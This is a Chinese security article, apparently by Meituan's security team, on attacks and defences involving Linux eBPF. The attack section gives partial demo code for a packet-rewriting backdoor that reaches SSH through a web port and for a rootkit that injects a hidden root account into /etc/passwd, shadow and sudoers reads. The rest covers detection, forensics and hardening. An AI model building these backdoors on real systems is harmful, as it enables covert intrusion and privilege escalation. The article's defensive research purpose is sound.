Linux eBPF攻防与面临安全挑战

eBPF(扩展Berkeley Packet Filter)是Linux内核中的一项强大技术,可以用于执行高效的代码,在网络监控、性能分析、安全审计等领域发挥着重要作用。然而,这把双刃剑也可能被恶意利用,带来严重的网络安全威胁。

前言

近几年,云原生领域飞速发展,K8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核安全带来了新的挑战。系统内核面对的复杂性在不断增长,在满足性能、可扩展性等新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。此时,eBPF出现,它以较小的子系统改动,保障了系统内核的稳定,还具备实时动态加载的特性,能将业务逻辑加载到内核,实现热更新的动态执行。

eBPF由BPF发展而来,BPF全称Berkeley Packet Filter,1992年由Steven McCanne和Van Jacobson提出,1997年引入Linux Kernel 2.1,3.0中增加了即时编译器,应用在网络过滤领域。2014年Alexei Starovoitov实现了eBPF并扩展到用户空间,威力更大。常用的TCPDUMP&LIBPCAP就是基于它。在Linux Kernel 4.x中,扩展了内核态函数、用户态函数、跟踪点、性能事件(perf_events)以及安全控制等事件类型。尤其是近几年云原生快速发展,也带动了eBPF的繁荣。微软、Google、Facebook等企业成立eBPF基金会,Cilium公司也发布了基于eBPF技术实现的网络产品。不过,在eBPF技术带动新业务快速发展的同时,也带来了安全威胁。

现状分析

我们可以从一些海外资料和国内资料中可以看到,eBPF在解决很多技术难题的同时,也被很多非法的组织和机构恶意利用。

海外资料

Black Hat

在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier带来主题为《With Friends Like eBPF, Who Needs Enemies?》的分享,他介绍了eBPF如何被恶意利用,包括如何构建一个rootkit、如何利用,并将检测防御代码放在了GitHub 上。

DEFCON

在DEF CON29峰会上,安全研究员Pat Hogan也分享了一些eBPF被恶意利用的案例:《Warping Reality – creating and countering the next generation of Linux rootkits using eBPF》 ,这里介绍了eBFP rootkit的应用场景,包括网络、运行时等场景,以及如何检测eBPF被恶意利用等。代码也放在了GitHub 上。

Linux eBPF攻防与面临安全挑战

国内资料

对比国外,国内eBPF被恶意利用的资料较少,相关技术分享也较少。可能这方面的危害还没有得到国内安全同行的关注,如果我们继续这样,势必影响到国内公司在网络安全防御体系层面的建设,进而导致安全防护落后于国外,给企业安全甚至国家安全带来较大的风险。美团信息安全团队作为防御体系的建设方,有责任也有义务带领大家更好地认识这种恶意利用,分享美团在检测防御方面的经验,加固网络安全产品,希望能为国内信息安全建设贡献一份绵薄之力。

eBPF技术恶意利用的攻击原理

知己知彼,才能百战不殆,要想做好防御,必须要了解它的攻击原理。我们先来看下eBPF的rootkit是如何设计的。从eBPF的功能来看,它提供了以下领域的功能:

  • 网络
  • 监控
  • 观测
  • 跟踪&性能分析
  • 安全

网络领域,Cilium等云原生公司做了很多网络层的产品,在实现网格管理的同时,也做了相应的网络层面安全策略,尤其是在网络编排领域,表现尤为亮眼,逐步代替iptables等产品,大有一统江山的趋势。而在监控观测等领域也有很多产品。尤其是运行时安全(Runtime Security)领域,Datadog、Falco、Google等公司也都推出了相应的产品。感兴趣的同学,可以参考相关产品源码分析(Cilium eBPF实现机制源码分析Datadog的eBPF安全检测机制分析)的分享。

我们回顾一下eBPF技术的hook点:

eBPF hook位置

eBPF hook位置

从图中可以看出,eBPF的hook点功能包括以下几部分:

  1. 可以在Storage、Network等与内核交互之间;
  2. 也可以在内核中的功能模块交互之间;
  3. 又可以在内核态与用户态交互之间;
  4. 更可以在用户态进程空间。

eBPF的功能覆盖XDP、TC、Probe、Socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知到这些行为。

基于eBPF的功能函数,从业务场景来看,网络、监控、观测类的功能促进了云原生领域的产品发展;跟踪/性能分析、安全类功能,加快了安全防御、审计类产品演进;而安全领域的恶意利用,也会成为黑客关注的方向。本文将与大家探讨一下新的威胁与防御思路。

Linux eBPF攻防与面临安全挑战

从数据流所处阶段来看,本文划分为两部分,接下来一起来讨论恶意利用、风险危害与防御思路。

  1. Linux网络层恶意利用
  2. Linux系统运行时恶意利用

Linux网络层恶意利用

以一个SSH、Web服务的服务器为例,在IDC常见网络访问策略中,开放公网Web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP,或者只开放内网端口访问。

假设这台服务器已经被黑客入侵,黑客需要留下一个后门,且需要一个隐藏、可靠的网络链路作为后门通道,那么在eBPF技术上,会如何实现呢?

XDP/TC层修改TCP包

为了让后门隐藏的更好,最好是不开进程,不监听端口(当前部分我们只讨论网络层隐藏)。而eBPF技术在XDP、TC、Socket等内核层的功能,能够实现流量信息修改,这些功能常被应用在L3、L4的网络负载均衡上。比如Cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后,更改了TCP包的目标IP,系统内核再将该数据包转发出去。

按照XDP与TC在Linux内核中,处理ingress与egress的位置,可以更准确地确定hook点。

Linux eBPF攻防与面临安全挑战

  • XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。
  • TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP“BPF_PROG_TYPE_XDP”的功能外,还可以对egress起作用。

前者最常用的场景就是做网络防火墙,用于网络流量清洗,效率比传统防火墙的高很多。后者常用于云原生场景下,容器、Pod的网络监控、安全访问控制等。在这个例子中,要对进出流量都做调整,故两个hook点都需要有。同样,在XDP等阶段的hook,在这里做相关包逻辑的处理,能更好地将通信包隐藏,tcpdump等工具都抓不到。

控制链路

在后门场景里,可以在同样的位置,像eBPF的负载均衡一样,修改目标端口,从Web Nginx的80改为SSHD的22,就可以实现网络数据的透传,绕开防火墙以及网络访问限制。

认证密钥

由于后门rootkit是在XDPTC层工作,为了尽可能的简单,认证密钥最好只使用链路层、网络层、传输层的数据,即MAC信息、IP五元组之类。IP经常变动,MAC地址大概率是唯一的,以及设定一个固定的端口,这样更加唯一,作为rootkit的认证密钥即可实现(需要Client发起连接时,指定客户端的TCP端口)。

eBPF uprobe与eBPF map联动

对于后门rootkit的密钥更新,利用eBPF也很好实现。比如在Nginx的场景中,uprobe实现hook HTTP的函数,获取URL参数中特定字符串,再将字符串保存到eBPF map里,就实现了密钥更新。

XDP/TC层的eBPF rootkit执行时,读取eBPF map里的密钥,进行比较运算。

实现流程

这里举个XDP处理ingress的例子:

SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;

//判断是否为SSHD的协议,不是则直接放行
if (!(不是SSHD协议(&c))) {
return XDP_PASS;
}

//判断rootkit是否匹配,网卡信息与来源端口是否匹配
hack_mac[] = "读取bpf map配置。"
if(密钥不匹配) {
return XDP_PASS;
}

// 读取map,是否已经存在该client信息
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);

// 如果没找到伪装信息,则自己组装
if(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}


// 伪装mac局域网mac信息
pkt.eth->h_source[0] = 0x00;
...

// 替换伪装ip来源 ,客户端端口不变

// 更改目标端口
pkt.tcp->dest = htons(FACK_PORT);    //22

//计算TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;

//写入已伪装的map,用于TC处理egress的原mac、IP信息还原。
return XDP_PASS;
}

比较简单的Demo,即可实现ingress侧TCP数据包的伪装。同样,TC层处理egress方向的数据包时,只需要对伪装包的原始信息作还原即可。整个流程如下图所示:

eBPF在XDP/TC层实现网络穿透rootkit通信链路

eBPF在XDP/TC层实现网络穿透rootkit通信链路

这样,rootkit的通信链路并不影响正常用户访问,也没有对原系统做改动,隐蔽性特别好。

视频演示

我们准备了三台主机测试:

  1. 入侵者:cnxct-mt2,IP为172.16.71.1。
  2. 普通用户:ubuntu,IP为172.16.71.3。
  3. 被入侵服务器:vm-ubuntu,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。

危害

这个rootkit不主动创建Socket,借用其中一个网络发送包,把消息送达给后门使用者。对系统影响来说,只是一个不起眼的小网络响应。在万千HTTP包里,根本定位不到。

  1. iptables防火墙绕过:利用对外开放的80端口作为通信隧道;
  2. WebIDS绕过:流量到达服务器后,并不传递给Nginx;
  3. NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密;
  4. HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录。

Linux系统运行时恶意利用

云原生生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、Cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。这些服务的运行环境,也给攻击者留下一个完美的发挥空间。

实现流程

回顾eBPF的hook点,作用在syscall的kprobe、tracepoint事件类型,倘若用在后门rootkit场景,是十分可怕的。比如修改内核态返回给用户态的数据、拦截阻断用户态行为等,为所欲为。而更可怕的是,常见的HIDS都是基于内核态或者用户态做行为监控,eBPF恰恰绕开了大部分HIDS的监控,且不产生任何日志,简直让人“细思极恐、不寒而栗”。

tracepoint事件类型hook

在SSHD应用中,当用户登录时,会读取/etc/passwd等文件。用户态SSHD程序,调用open、read等系统调用,让内核去硬件磁盘上检索数据,再返回数据给SSHD进程。

用户态生成payload

用户态实现/etc/passwd、/etc/shadow等文件payload的生成,并通过eBPF的RewriteConstants机制,完成对ELF .rodata的字段值替换。

import "github.com/ehids/ebpfmanager"

//  通过elf的常量替换方式传递数据
func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
	var username = RandString(9)
	var password = RandString(9)
	var s = RandString(8)

	salt := []byte(fmt.Sprintf("$6$%s", s))
	// use salt to hash user-supplied password
	c := sha512_crypt.New()
	hash, err := c.Generate([]byte(password), salt)
    
	var m = map[string]interface{}{}
	res := make([]byte, PAYLOAD_LEN)
	var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
	copy(res, payload)
	m["payload"] = res
	m["payload_len"] = uint32(len(payload))

    // 生成passwd字符串
	var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bashn", username)
	// 生成shadow字符串
	var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::n", username, hash)
	
    // eBPF RewriteContants
    var editor = []manager.ConstantEditor{
		{
			Name:          "payload",
			Value:         m["payload"],
			FailOnMissing: true,
		},
		{
			Name:          "payload_len",
			Value:         m["payload_len"],
			FailOnMissing: true,
            },
    }
    return editor
}

func (this *MBPFContainerEscape) setupManagers() {
	this.bpfManager = &manager.Manager{
		Probes: []*manager.Probe{
			{
				Section:          "tracepoint/syscalls/sys_enter_openat",
				EbpfFuncName:     "handle_openat_enter",
				AttachToFuncName: "sys_enter_openat",
			},
            ...
		},

		Maps: []*manager.Map{
			{
				Name: "events",
			},
		},
	}

	this.bpfManagerOptions = manager.Options{
		...
		// 填充 RewriteContants 对应map
		ConstantEditors: this.constantEditor(),
	}
}

内核态使用payload

const volatile int payload_len = 0;
...
const volatile char payload_shadow[MAX_PAYLOAD_LEN];

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
    // 判断是否为rootkit行为,是否需要加载payload
    ...
    long int read_size = ctx->ret;
    // 判断原buff长度是否小于payload
    if (read_size < payload_len) {
        return 0;
    }
    
    // 判断文件类型,匹配追加相应payload
    switch (pbuff_addr->file_type)
    {
    case FILE_TYPE_PASSWD:
        // 覆盖payload到buf,不足部分使用原buff内容
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
            for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
                if (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                else {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        break;
    case FILE_TYPE_SHADOW:
        // 覆盖 shadow文件
        ...
        break;
    case FILE_TYPE_SUDOERS:
        //覆盖sudoers
        ...
        break;
    default:
        return 0;
        break;
    }


    // 将payload内存写入到buffer
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
    // 发送事件到用户态
   
    return 0;
}

按照如上Demo rootkit的设计,即完成了随机用户名密码的root账号添加。在鉴权认证上,也可以配合“eBPF网络层恶意利用”的Demo,利用eBPF map交互,实现相应鉴权。但rootkit本身并没有更改硬盘上文件,不产生风险行为。并且,只针对特定进程的做覆盖,隐蔽性更好。整个流程如下图所示:

eBPF在runtime安全场景恶意利用

eBPF在runtime安全场景恶意利用

不管是在物理机上,还是给了root+BPF权限的容器上,都一样生效。

严重危害

云原生场景下,赋予SYS_ADMIN权限的容器场景很多,若配合近期的“Java log4j”漏洞,直接击穿容器,拿到宿主机权限,是不是很可怕?

然而,比这可怕的是:这种rootkit本身并没有产生用户态行为日志,也没有改文件,系统里查不到这个用户信息。整个后门行为不产生数据,让大部分HIDS失灵

综述

从本文演示的这两个场景可以来看,相信大家已经知道了eBPF技术被恶意利用的危害性。其实,这只是eBPF技术被恶意利益的“冰山一角”,在kproebuprobe上也有很多功能,比如实现进程隐藏、无痕内网扫描等等。更多相关的恶意利用,大家可参考Bad BPF – Warping reality using eBPF一文。

若入侵者精心设计rootkit,实现进程隐藏等,让rootkit更加隐蔽,按照本文的思路,实现一个“幽灵般”的后门,想想就让人后怕。

常规的主机安全防御产品一般用Netlink、Linux Kernel Module等技术实现进程创建、网络通信等行为感知,而eBPF的hook点可以比这些技术更加深,比它们执行更早,意味着常规HIDS并不能感知发现它们。

传统rootkit,采用hook api的方法,替换原来函数,导致执行函数调用地址发生变化,已有成熟检测机制,eBPF hook不同于传统rootkit,函数调用堆栈不变。这给检测带来很大的麻烦。

那面对这种后门,我们该如何检测防御呢?

检测防御

从事件发生的过程来看,分为三个阶段:

  • 运行前
  • 运行时
  • 运行后

Linux eBPF攻防与面临安全挑战

运行前

在恶意程序运行前,减少攻击面,这个思路是不变的。

环境限制

不管是宿主机还是容器,都进行权限收敛,能不赋予SYS_ADMIN、CAP_BPF等权限,就禁止掉。若一定要开放这个权限,那么只能放到运行时的检测环节了。

seccomp限制

在容器启动时,修改默认seccomp.json,禁止bpf系统调用,防止容器逃逸,注意此方法对于Privileged特权容器无效。

内核编译参数限制

修改函数返回值做运行时防护时,需要用到bpf_override_return,该函数需要内核开启CONFIG_BPF_KPROBE_OVERRIDE编译参数,因此非特殊情况不要开启该编译参数。

非特权用户指令

大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外,比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型,就不需要root。但需要读取系统配置开关。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
	    type != BPF_PROG_TYPE_CGROUP_SKB &&
	    !bpf_capable())
		return -EPERM;

开关确认

在/proc/sys/kernel/unprivileged_bpf_disabled里,可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/

  • 值为0表示允许非特权用户调用bpf;
  • 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改;
  • 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1。

特征检查

有人提议,在内核加载BPF字节码时,进行签名验证,以便达到只加载安全签名的BPF字节码。在lwn.net中也列出这个话题:BPF字节码签名计划

但很多人也提出反对意见,他们认为BPF模块这几年的发展,过于抽象化,越来越复杂,所以不希望加入额外的功能,让BPF更加不稳定。而是改变思路,让字节码加载时签名,改为“执行BPF字节码加载的用户态程序进行签名”,这个是已有的内核功能,不会增加系统复杂性。

本文认为,这确实可以缓解大部分BPF字节码加载的问题。但使用系统原生命令(tcipbpftool等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o

ip命令加载eBPF字节码

ip命令加载eBPF字节码

运行检查

大部分eBPF程序在重启后不存在了,所以入侵者会尽可能让后门自启动。对于Linux系统的自启动、crontab等计划任务做好检查。

用户态程序可以以各种形式存在,ELF可执行文件、ELF so动态链接库都可以。在执行时,必定会调用BPF syscall来加载BPF字节码。若只是对可执行ELF做检测,还不够准确。

运行时

监控

Linux系统中,所有的程序运行,都必须进行系统调用,eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。并且,所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么,在这个必经之路进行拦截监控,是最好的方案。

SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
	struct bpf_context_t *bpf_context = make_event();
	if (!bpf_context)
		return 0;
	bpf_context->cmd = args->cmd;
	get_common_proc(&bpf_context->procinfo);
	send_event(args, bpf_context);
    return 0;
}

这里,我们开源的ehids项目做了一个BPF syscall检测的例子,大家可以Fork了解。仓库地址为:GitHub/ehids

细心的读者这时可能会有疑问,假如入侵者的后门执行比较早,对这个系统调用进行欺骗,那怎么办呢?这是一个非常好的问题,我们将放到运行后的溯源章节进行讨论。但对于大部分场景,HIDS防御产品还是可以做到第一时间启动的。

审计&筛查

上面我们讨论了对BPF系统的调用进行监控。而在云原生场景中,基于eBPF实现的网络产品会频繁调用,会产生大量的事件日志,从而给运营同学带来较大的压力。那么,对行为做精简、做精确筛选,就成为我们接下来的目标。

根据程序白名单筛选

数据过滤,是解决大量数据压力的一种方案。在一些BPF应用的业务服务器上,本身业务行为会产生大量调用,会给安全预警带来较大审计压力。对于已知的进程,我们可以根据进程特征过滤。

获取当前进程pid、comm等属性,根据用户态写入eBPF map的配置,决定是否上报、是否拦截。 也可以在用户态做过滤,但内核态效率更高。如果是做拦截,那必须要在内核态实现。

大家可以参考saBPF产品设计思路 ,用eBPF实现LSM hook点的钩子程序,完成相关审计调用。虽然GitHub/saBPF-project 的项目代码还只是Demo,但思路可以借鉴。

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根据SYSCALL类型筛选

在BPF syscall里,子命令的功能包含map、prog等多种类型的操作,bpf() subcommand reference 里有详细的读写API。在实际的业务场景里,“写”的安全风险比“读”大。所以,我们可以过滤掉“读”操作,只上报、审计“写”操作。

比如:

  • MAP的创建BPF_MAP_CREATE
  • PROG加载BPF_PROG_LOAD
  • BPF_OBJ_PIN
  • BPF_PROG_ATTACH
  • BPF_BTF_LOAD
  • BPF_MAP_UPDATE_BATCH

尤其是有BPF需求的业务场景,可以更好的审计日志。

运行后

这里提几个问题,eBPF用户态程序与内核态程序交互,加载BPF字节码后,能退出吗?退出后,内核hook的BPF函数还工作吗?创建的map是否还存在?后门程序为了保证更好的隐蔽性,我们当如何选择?

如果要回答这些问题,不得不提BPF程序的加载机制,BPF对象生命周期。

文件描述符与引用计数器

用户态程序通过文件描述符FD来访问BPF对象(progs、maps、调试信息),每个对象都有一个引用计数器。用户态打开、读取相应FD,对应计数器会增加。若FD关闭,引用计数器减少,当refcnt为0时,内核会释放BPF对象,那么这个BPF对象将不再工作。

在安全场景里,用户态的后门进程若退出后,后门的eBPF程序也随之退出。在做安全检查时,这可以作为一个有利特征,查看进程列表中是否包含可疑进程。

但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看,只需要保证refcnt大于0,就可以让BPF对象存活,让后门进程持续工作了。其实在BPF的程序类型中,像XDP、TC和基于CGROUP的钩子是全局的,不会因为用户态程序退出而退出。相应FD会由内核维护,保证refcnt计数器不为零,从而继续工作。

溯源

安全工程师经常需要根据不同场景作不同的溯源策略。本文给的溯源方式中,都使用了eBPF的相关接口,这意味着:如果恶意程序比检查工具运行的早,那么对于结果存在伪造的可能

短生命周期

BPF程序类型代表

  • k[ret]probe
  • u[ret]probe
  • tracepoint
  • raw_tracepoint
  • perf_event
  • socket filters
  • so_reuseport

特点是基于FD管理,内核自动清理,对系统稳定性更好。这种程序类型的后门,在排查时特征明显,就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。

bpftool工具

eBPF程序列表

命令bpftool prog show,以及bpftool prog help查看更多参数。

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结果中,可以看到当前系统正在运行的BPF程序、关联的BPF map ID,以及对应的进程信息等。另外,细心的读者可能发现,结果中,XDP数据中并没有进程ID信息,稍后讨论。

eBPF map列表

命令bpftool map show,以及bpftool map help可以查看更多参数。

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通过查看map信息,可以与程序信息作辅助矫正。并且,可以导出map内数据用来识别恶意进程行为。这部分我们在“取证”章节讨论。

bpflist-bpfcc

bpflist-bpfcc -vv命令可以看到当前服务器运行的“部分”BPF程序列表。以测试环境为例:

root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc  -vv
open kprobes:

open uprobes:

PID    COMM             TYPE  COUNT
1      systemd          prog  8
10444  ehids            map   4
10444  ehids            prog  5

可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。

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长生命周期

BPF程序类型代表

  • XDP
  • TC
  • LWT
  • CGROUP

上面提到以ip命令加载BPF字节码的场景,常见BPF工具查询不到或信息缺失。这背后原因,需要从它的工作原理讲起。

ip命令加载BPF原理

BPF对象的生命周期使用引用计时器管理,这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间,之后再由内核空间维持。

以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。ip命令的参数中包含bpf字节码文件名,ip进程打开.o字节码的FD,通过NETLINK发IFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的ip进程退出后,BPF程序依旧工作。内核源码参见:elixir.bootlin.com/linux

本文做了抓包验证,ip程序关联XDP程序类型:

17:53:22.553708 sendmsg(3, 
	{
	msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 
	msg_namelen=12, 
	msg_iov=[
		{
			iov_base={
				{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, 
				{ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, 
				{
					{nla_len=20, nla_type=IFLA_XDP}, 
					[
						{{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, 
						{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
					]
				}
			},
			iov_len=52
		}
		], 
	msg_iovlen=1, 
	msg_controllen=0, 
	msg_flags=0
	}, 0) = 52

可以看到IFLA_XDP_FD后面的FD参数是6。同样,删除XDP程序,需要把FD设置为-1,对应NETLINK包构成如下:

17:55:16.306843 sendmsg(3, 
	{
	...
					{nla_len=20, nla_type=IFLA_XDP}, 
					[
						{{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, 
						{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
					] }
	...
	}, 0) = 52

不止ip命令,TC命令分类器 也是支持BPF程序,将BPF程序作为classifiers和 act ions加载到ingress/egress hook点。背后原理与IP类似,也是NetLink协议与内核通信,网卡维持BPF对象计数器。

检测机制

使用原生ip、tc等命令,查看网卡加载的BPF对象

  1. ip link show
  2. tc filter show dev [网卡名] [ingress|egress]

Linux eBPF攻防与面临安全挑战

使用bpftool命令查看

bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF hook点。

CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图所示:

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BPFFS

除了前面提到的方法外,BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器,来保持后台的活跃状态。在使用时,只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。

BPFFS在Linux的类型是BPF_FS_MAGIC,默认目录/sys/fs/bpf/,可自定义修改,但确保文件系统类型是unix.BPF_FS_MAGIC。

在检测思路上,我们需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。

在Linux系统上,mount -t bpf来查看系统所有挂在的文件类型,是否包含BPFFS类型。

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确定BPFFS的目录后,我们再查看目录下的挂载点是否存在异常。

取证

内核已加载的BPF对象导出

bpftool工具可以导出有FD id的prog、map。

BPF prog程序

可以导出opcodevisuallinum等多种格式,并可以生成调用关系图。具体可以查看bpftool的帮助文件。

root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited  PROG [{ file FILE | opcodes | linum }]

BPF map

与prog类似,也可以通过bpftool导出内容,并支持JSON格式化内容。

root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
        "value": {
            ".rodata": [{
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "payload_len": 38
    ...

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BPFFS

BPFFS类型的BPF对象,虽然可以更便捷的放到后台执行,用户空间程序可以退出,也可以再次读取,但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出prog、map。参数稍有区别,详情见bpftool help。

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内核未加载的BPF对象

当定位到后门rootkit的用户空间程序后,那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中,或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具,定位到相关字节流,导出即可。

以本文演示视频中的ehids进程为例,使用GitHub/ehids/ebpfmanager 纯Go的eBPF模块管理器package,对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、Gzip压缩,作为Go代码的变量,在部署时比较边界。

IDA Pro加载时,我们可以在.noptrdata段部分看到这块代码,开始地址是0000000000827AE0,导出后再解压,可以还原原来的BPF ELF文件内容。

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因为每个BPF用户态实现不同,类库也不一样,静态分析实践起来有难度。那可以模拟相同环境,动态运行,提前hook BPF syscall,找到FD设置的地方,也是可以导出BPF的ELF文件。

字节码分析

BPF字节码本身也是ELF格式,只是格式指令上有一定区别。反编译工具IDA pro也能支持,国外安全工程师开源了一个Python插件:eBPF IDA Proc ,并整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry’s Enhanced IDA Processor Tool ,感兴趣的同学可以读读。

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如何防御

eBPF在网络安全场景的使用,除了做入侵检测外,还可以用于防御。LSM PROBE hook提供了相关功能。以容器逃逸场景为例,行为最明显的特征是“父子进程”的Namespace不一致,子进程创建完成后,判断这个特征是否匹配,返回EPERM覆盖进程创建函数的返回值,从而起到防御的目的。相比内核模块等防御实现,eBPF实现更加安全、稳定、可靠,从而在源头上解决容器逃逸的问题。

同样,本文认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。

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LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
    return -EPERM;
}

在系统的配置上有一定要求,CONFIG_BPF_LSM=y、CONFIG_LSM等配置内容,必须包含bpf等,详情可参考BCC类库Demo lsm probe 。

工程实现

练手

入门练手,可以尝试使用BCC的类库:GitHub/BCC ,以及C语言用户空间程序的各种Demo例子Demo BPF applications 。

类库选择

工程化时,对项目质量、稳定性、研发效率等都有要求,推荐Cilium的纯Go eBPF类库,由Cilium官方背书可放心使用。Datadog公司的Agent产品也是用这个类库。

本文的产品也是参考Datadog,抽象包装了Cilium的eBPF库,实现配置化便捷管理eBPF程序。GitHub仓库:ehids/ebpfmanager ,欢迎大家使用。

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当然,也可以使用libbpf包装的Go类库实现,比如Tracee等产品。

系统兼容性CO-RE

eBPF的出现极大地简化了编写内核态代码的门槛,极高的安全性,友好的加载方式,高效的数据交互,令eBPF深受追捧。然而和编写传统内核模块相同,内核态的功能开发伴随着繁冗的适配测试工作,Linux繁多的内核版本更是让适配这件事难度陡增,这也就是BTF出现之前的很长一段时间里,bcc + clang + llvm被人们诟病的地方。程序在运行的时候,才进行编译,目标机器还得安装clang llvm kernel-header等编译环境,同时编译也会消耗大量CPU资源,这在某些高负载机器上是不能被接受的。

因此,BTF&CO-RE横空出现,BTF可以理解为一种Debug符号描述方式,此前传统方式Debug信息会非常巨大,Linux内核一般会关闭Debug符号,BTF的出现解决了这一问题,大幅度减少Debug信息的大小,使得生产场景内核携带Debug信息成为可能。

可喜的是,通过运用BTF&CO-RE这项技术,可以帮助开发者节省大量适配精力,但是这项技术目前还是在开发中,还有许多处理不了的场景,比如结构体成员被迁入子结构体中,这时候还是需要手动解决问题,BTF的开发者也写了一篇文章,讲解不同场景的处理方案bpf-core-reference-guide

大型项目

在国外,云原生领域产品发展较快,涌现出一批批基于eBPF的产品,包括Cilium、Datadog 、Falco、Katran等,应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域,可以借鉴这些大型项目的研发经验,来加快产品建设,包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主,工程建设相关经验,我们将在以后的文章中分享。

总结

随着云原生快速发展,eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看,国外对这个方向的研究远比国内超前,我们再次呼吁大家,网络安全产品应当尽快具备eBPF相关威胁检测能力

本文跟大家探讨了基于eBPF技术的恶意利用与检测机制,其中提到的eBPF在防御检测产品研发、工程建设等内容,我们将在下一篇跟大家分享,敬请期待。

作者简介

陈驰、杨一、鑫博,均来自美团信息安全部。

参考文献

 

原创文章,作者:SnowFlake,如若转载,请注明出处:https://www.cncso.com/linux-ebpf-attack-and-defense-and-security.html

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